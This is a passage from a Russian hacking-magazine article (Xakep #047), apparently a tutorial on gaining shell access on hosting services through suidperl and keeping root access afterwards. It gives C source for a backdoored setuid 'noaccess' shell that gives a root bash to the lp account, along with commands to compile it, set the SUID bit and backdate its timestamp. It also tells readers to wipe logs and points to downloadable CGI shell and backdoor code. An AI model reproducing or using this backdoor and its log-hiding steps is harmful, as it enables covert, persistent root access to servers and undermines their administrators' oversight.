|
Shell на халяву
Xakep, номер #047, стр. 047-064-3 Suidperl - программа для исполнения суидных Perl скриптов. Получается, что права, с которыми запустится скрипт, будут: nobody (uid) и xakep (euid). То есть suidperl наследует uid, закрепленный на скрипте. При условии, что /bin/false был в /etc/shells, шелл будет сменен, и в итоге появится возможность ходить под своим логином через /bin/bash. Опция -U суидперла блокирует taint проверку скрипта, иначе скрипт ругнется на unsecure $ENV{PATH}. Дальнейшее удержание прав Итак, перенесемся в заветное будущее, когда на хостинге уже есть root-права. Что делать? Одним из хороших способов будет создание fake-shell, который бы пускал в систему только определенного человека. Как это осуществить? На большинстве хостингов существует свой шелл-nologin, который пишет одну единственную строку, как реакцию на подключение - No access. Воспользовавшись этим, слегка подредактируем код. Допустим, в системе есть пользователь lp (принтер сервис) с уидом 4. Ему необходимо установить свой пароль (не стоит забывать чистить логи после этого!), и шелл, как обычно - /sbin/noaccess. Вот его код в си-реализации: int main() { if (getuid() == 4) { /* Если уид=4 */ setuid(0); setgid(0); system("/bin/bash"); /* Запускаем bash из-под рута */ } else { printf("No access\n"); /* Иначе пишем - No access */ } } Как видишь - все просто. Остается лишь откомпилить его: gcc noaccess.c -o /sbin/noaccess. Затем поставить на него атрибут +s (для setuid() нужен SUID атрибут) и сменить дату обращения к файлу командой touch -t 200101151932 /sbin/noaccess (время в формате ГГММДДЧЧММ). Рекомендуется также скачать какой-нибудь logwiper и интегрировать его в noaccess, иначе пребывание на сервере будет логироваться. Вот и вся инфа о поднятии shell доступа на разнообразных хостинговых службах. Просто поднятие shell'а - дело без последствий, но если продолжать получать более высокие права, то это уже уголовно наказуемо (особенно при получении рут прав). Так что осмысливай свои действия! По этой ссылке можно скачать альтернативный perl скрипт, реализующий cgi-shell. Зачем он дается? Да просто он гораздо удобнее, а публиковать его сорсы - бессмысленно. Конечно, бэкдоры бывают не только на Perl. По адресу http://kamensk.lael.ru/forb/soft/bd.c можно скачать сишник с подробными комментариями. Компилить его придется, видимо, через www, а затем запускать оттуда же, как обычный бинарник. |